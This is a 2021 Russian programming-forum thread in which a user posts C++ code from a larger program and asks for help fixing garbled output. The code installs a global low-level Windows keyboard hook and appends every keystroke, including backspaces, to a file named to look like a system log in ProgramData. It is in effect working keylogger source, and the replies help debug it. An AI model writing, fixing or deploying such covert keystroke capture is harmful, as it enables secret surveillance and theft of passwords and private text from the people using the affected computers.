Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.09.2021, 10:47   #1
StillPhelix
Пользователь
 
Регистрация: 18.05.2014
Сообщений: 35
По умолчанию Перехват ввода данных с клавиатуры

Доброго времени суток!
Это фрагмент кода одной большой программы. Этот фрагмент регистриует нажатия некоторых клавиш клавиатуры и записывает в файл. Проблема заключается в том, что при записи в файл добавляются лишние пробелы и символы (сборка debug), или лишние пробелы (сборка release). Программа написана в Visual studio 2019. Похоже по каким-то причинам функция MapVirtualKeyEx возвращает не совсем корректный результат.
Код:
#include <Windows.h>
#include <winuser.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#include <WinBase.h>>
#include <string>
#include <tchar.h>


const TCHAR szSystemLog[] = L"C://ProgramData//Systemlog.txt";
HANDLE hFile;
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT hkb;




int writeToFile(UINT keystroke)
{
	DWORD dwWrited = 0;
	DWORD dwBytesRead = 0;

	DWORD dwPos;
	LPCVOID lpvKey;


	if ((keystroke == 1) || (keystroke == 2))
	{
		return 0; // ignore mouse clicks
	}

	HKL layout = GetKeyboardLayout(0);

	hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		hFile = CreateFile(szSystemLog, FILE_APPEND_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	}
	if (hFile != INVALID_HANDLE_VALUE)
	{

		if (keystroke == VK_BACK)
		{
			dwPos = SetFilePointer(hFile, 0, NULL, FILE_END);
			LockFile(hFile, dwPos, 0, dwBytesRead, 0);
			WriteFile(hFile, "[BACKSPACE]", sizeof("[BACKSPACE]"), &dwWrited, NULL);
			UnlockFile(hFile, dwPos, 0, dwBytesRead, 0);
		}

		
			TCHAR key;
			
			bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

			 
			if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
			{
				lowercase = !lowercase;
			}

			
			key = MapVirtualKeyEx(keystroke, MAPVK_VK_TO_CHAR, layout);

			
			if (!lowercase)
				key = tolower(key);
			lpvKey = (LPCVOID)&key;
			dwPos = SetFilePointer(hFile, 0, NULL, FILE_END);
			LockFile(hFile, dwPos, 0, dwBytesRead, 0);
			WriteFile(hFile, lpvKey, sizeof(lpvKey), &dwWrited, NULL);
			UnlockFile(hFile, dwPos, 0, dwBytesRead, 0);
		CloseHandle(hFile);
	}
	return 0;
}

LRESULT _stdcall HookCallBack(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode >= 0)
	{
		if (wParam == WM_KEYDOWN)
		{
			
			kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
			writeToFile(kbdStruct.vkCode);
		}
	}

	return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
	if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallBack, 0, 0)))
	{
		LPCTSTR a = L"error";
		LPCTSTR b = L"error";
		MessageBox(0, a, b, MB_ICONERROR);
	}
}

void relaseHook()
{
	UnhookWindowsHookEx(_hook);
}


int main()
{
	SetHook();
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
	}
}
StillPhelix вне форума Ответить с цитированием
Старый 29.09.2021, 13:11   #2
ForenLi
Форумчанин
 
Регистрация: 02.06.2021
Сообщений: 515
По умолчанию

Цитата:
Сообщение от StillPhelix Посмотреть сообщение
Похоже по каким-то причинам функция MapVirtualKeyEx возвращает не совсем корректный результат.
Давайте примеры. Не вижу в вашем коде обработки 0, установленного старшего бита, 0xe0, 0xe1.
ForenLi вне форума Ответить с цитированием
Старый 29.09.2021, 20:17   #3
StillPhelix
Пользователь
 
Регистрация: 18.05.2014
Сообщений: 35
По умолчанию

Цитата:
Сообщение от StillPhelix Посмотреть сообщение
WriteFile(hFile, lpvKey, sizeof(lpvKey), &dwWrited, NULL);
Тут ошибка. Надо исправить на
Код:
WriteFile(hFile, lpvKey, sizeof(key), &dwWrited, NULL);

Цитата:
Сообщение от StillPhelix Посмотреть сообщение
if (keystroke == VK_BACK)
{
dwPos = SetFilePointer(hFile, 0, NULL, FILE_END);
LockFile(hFile, dwPos, 0, dwBytesRead, 0);
WriteFile(hFile, "[BACKSPACE]", sizeof("[BACKSPACE]"), &dwWrited, NULL);
UnlockFile(hFile, dwPos, 0, dwBytesRead, 0);
}
И тут ошибка. В функции WriteFile () не правильно указан второй параметр (буфер). Как это исправить?
StillPhelix вне форума Ответить с цитированием
Старый 29.09.2021, 20:32   #4
StillPhelix
Пользователь
 
Регистрация: 18.05.2014
Сообщений: 35
По умолчанию

Решение проблемы:
https://www.cyberforum.ru/win-api/thread2877335.html
StillPhelix вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
перехват сигналов с клавиатуры(C++) slip666slip Помощь студентам 11 16.12.2014 21:27
Программа для ввода строковых данных с клавиатуры. Запретить ввод пробела в строку (Ассемблер) Victor Babin Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 4 05.12.2012 09:38
Написать рекурсивную процедуру для ввода с клавиатуры последовательности чи-сел (конец ввода – 0) и вывода её на экран в обратном netiv Паскаль, Turbo Pascal, PascalABC.NET 1 17.02.2012 18:14
Перехват клавиатуры Ferro Общие вопросы Delphi 3 25.03.2010 21:02
Перехват событий клавиатуры CODeRUS Win Api 8 06.07.2009 11:08